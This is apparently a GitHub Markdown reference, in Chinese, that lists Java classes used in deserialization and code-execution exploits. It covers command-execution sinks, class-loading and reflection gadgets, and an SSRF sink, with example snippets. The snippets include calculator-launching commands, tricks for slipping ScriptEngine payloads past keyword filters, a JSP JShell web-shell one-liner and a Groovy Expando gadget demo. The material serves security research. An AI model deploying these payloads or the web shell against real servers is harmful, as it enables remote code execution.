Skip to content

Latest commit

 

History

History
195 lines (169 loc) · 8.61 KB

常见利用类.md

File metadata and controls

195 lines (169 loc) · 8.61 KB

常见利用类

命令执行

(1)java.lang.Runtime
(2)java.lang.ProcessBuilder
(3)java.lang.ProcessImpl
(4)javax.script.ScriptEngineManager
(5)java.beans.Expression
(6)java.beans.Statement
(7)javax.el.ELProcessor(Tomcat EL)
(8)javax.el.ELManager (Tomcat EL)
OGNL(Struts2),SpEL(Spring)
(9)JShell
(10)MVEL

类加载

(1)java.langClassLoader #loadClass #findClass #defineClass(自定义类加载)
(2)java.net.URLClassLoader #newInstance #loadClass
(3)jdk.nashorn.internal.runtime.ScriptLoader #installClass
(4)java.lang.reflect.Proxy #defineClass0
(5)com.sun.org.apache.bcel.internal.util.ClassLoader #loadClass
(6)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
(7)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
(8)com.sun.rowset.JdbcRowSetImpl #connect/#prepare/#getDatabaseMetaData/#setAutoCommit

反射调用

(1)javax.imageio.ImageIO$ContainsFilter
(2)java.beans.EventHandler
(3)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
// 非JDK自带
(4)org.codehaus.groovy.runtime.MethodClosure
(5)org.codehaus.groovy.runtime.ConvertedClosure
(6)groovy.util.Expando

SSRF

(1)java.net.URL#openConnection

使用说明

命令执行

#(1)java.lang.Runtime
    Runtime.getRuntime.exec("calc.exe")
    
#(2)java.lang.ProcessBuilder
    String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
    ProcessBuilder processBuilder = new ProcessBuilder(cmd);
    Process process = processBuilder.start();
    
#(3)java.lang.ProcessImpl (构造方法是private的,无法直接new)
    String [] cmd={"cmd","/c","whoami"};
    Class processimpl=Class.forName("java.lang.ProcessImpl");
    Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    m1.setAccessible(true);
    Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
    
#(4)javax.script.ScriptEngineManager(JDK1.6引入,用于解析javascript)
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
    engine.eval(script);
    
    # 一些绕过
    String script="java.lang./****/Runtime.getRuntime().exec(\"calc\")";
    String script="var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  x.command(\"calc\"); x.start();";
    new javax.script.ScriptEngineManager().getEngineByName("js").eval("var a = test(); function test() { var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");};");
    String script="var x=java.\u2028lang.Runtime.getRuntime().exec(\"calc\");";
    String script="var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");";
    String script="var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");";
    
#(5)java.beans.Expression
    Expression expression=new Expression(Runtime.getRuntime(),"exec",new Object[]{"calc"});
    expression.getValue();
    
#(6)java.beans.Statement
    Statement statement=new Statement(Runtime.getRuntime(),"exec",new Object[]{"calc"});
    statement.execute();
    
#(7)javax.el.ELProcessor(Tomcat EL)
    String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELProcessor elProcessor = new ELProcessor();
    Process process = (Process) elProcessor.eval(script);
    
#(8)javax.el.ELManager (Tomcat EL)
    String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELManager elManager=new ELManager();
    ELContext elContext=elManager.getELContext();
    ExpressionFactory expressionFactory=ELManager.getExpressionFactory();
    ValueExpression valueExpression=expressionFactory.createValueExpression(elContext,"${"+script+"}",Object.class);
    valueExpression.getValue(elContext);
    
#(9)JShell
    <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>

#(10)MVEL
    ShellSession shellSession=new ShellSession();
    shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');");
    
    # 支持的命令
      "help" -> {Help@605} 
      "exit" -> {Exit@607} 
      "cd" -> {ChangeWorkingDir@609} 
      "set" -> {Set@611} 
      "showvars" -> {ShowVars@613} 
      "ls" -> {DirList@614} 
      "inspect" -> {ObjectInspector@616} 
      "pwd" -> {PrintWorkingDirectory@618} 
      "push" -> {PushContext@620} 

类加载

#(1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
    TemplatesImpl.getOutputProperties()
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
          TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
              Class.newInstance()
              
# (2)com.sun.rowset.JdbcRowSetImpl #connect/#prepare/#getDatabaseMetaData/#setAutoCommit最终都是调用的connect(),如下
    private Connection connect() throws SQLException { // 无参方法
        DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
    }

反射调用

#(1)javax.imageio.ImageIO$ContainsFilter
    public boolean filter(Object elt) {
        return contains((String[])method.invoke(elt), name); // 传入Object对象,要求方法无参,所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法
    }
    
#(2)java.beans.EventHandler
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
      String methodName = method.getName();
      if (method.getDeclaringClass() == Object.class)  { // 如果方法是hashCode、equals、toString其中一个,采用代理,走不到invoke
          // Handle the Object public methods.
          if (methodName.equals("hashCode"))  {
              return new Integer(System.identityHashCode(proxy));
          } else if (methodName.equals("equals")) {
              return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
          } else if (methodName.equals("toString")) {
              return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
          }
      }
     ... // 参数要么是空,要么是单个参数
     return MethodUtil.invoke(targetMethod, target, newArgs); // 反射调用
   }
   
#(3)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection   
   public ValueT get(BeanT bean) throws AccessorException {
       return this.getter.invoke(bean); // 只能传入类对象,无法传入参数,要求反射方法无参
   }
   
#(4)org.codehaus.groovy.runtime.MethodClosure
    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
    }
    
#(5)org.codehaus.groovy.runtime.ConvertedClosure
    public abstract class ConversionHandler implements InvocationHandler, Serializable { // 实现了InvocationHandler,并重写了invoke方法,如果执行Proxy.newProxyInstance就会调用这个Invoke
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            this.invokeCustom(proxy, method, args); // 如果传入的method不是Object对象中的方法(如hashcode、toString等),就执行此步,进行反射调用
        }
    }
    
#(6)groovy.util.Expando
    public int hashCode() {
        Object method = this.getProperties().get("hashCode");
        if (method != null && method instanceof Closure) { // 如果properties中存在一个键为hashCode,值为Closure的子类,进入if
            Closure closure = (Closure)method;
            closure.setDelegate(this);
            Integer ret = (Integer)closure.call(); //反射调用
            return ret;
        } ...
    }
    
    # 触发demo
      Map map = new HashMap<Expando, Integer>();
      Expando expando = new Expando();
      String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
      MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
      expando.setProperty("hashCode", methodClosure);
      map.put(expando, 123);
      expando.hashCode();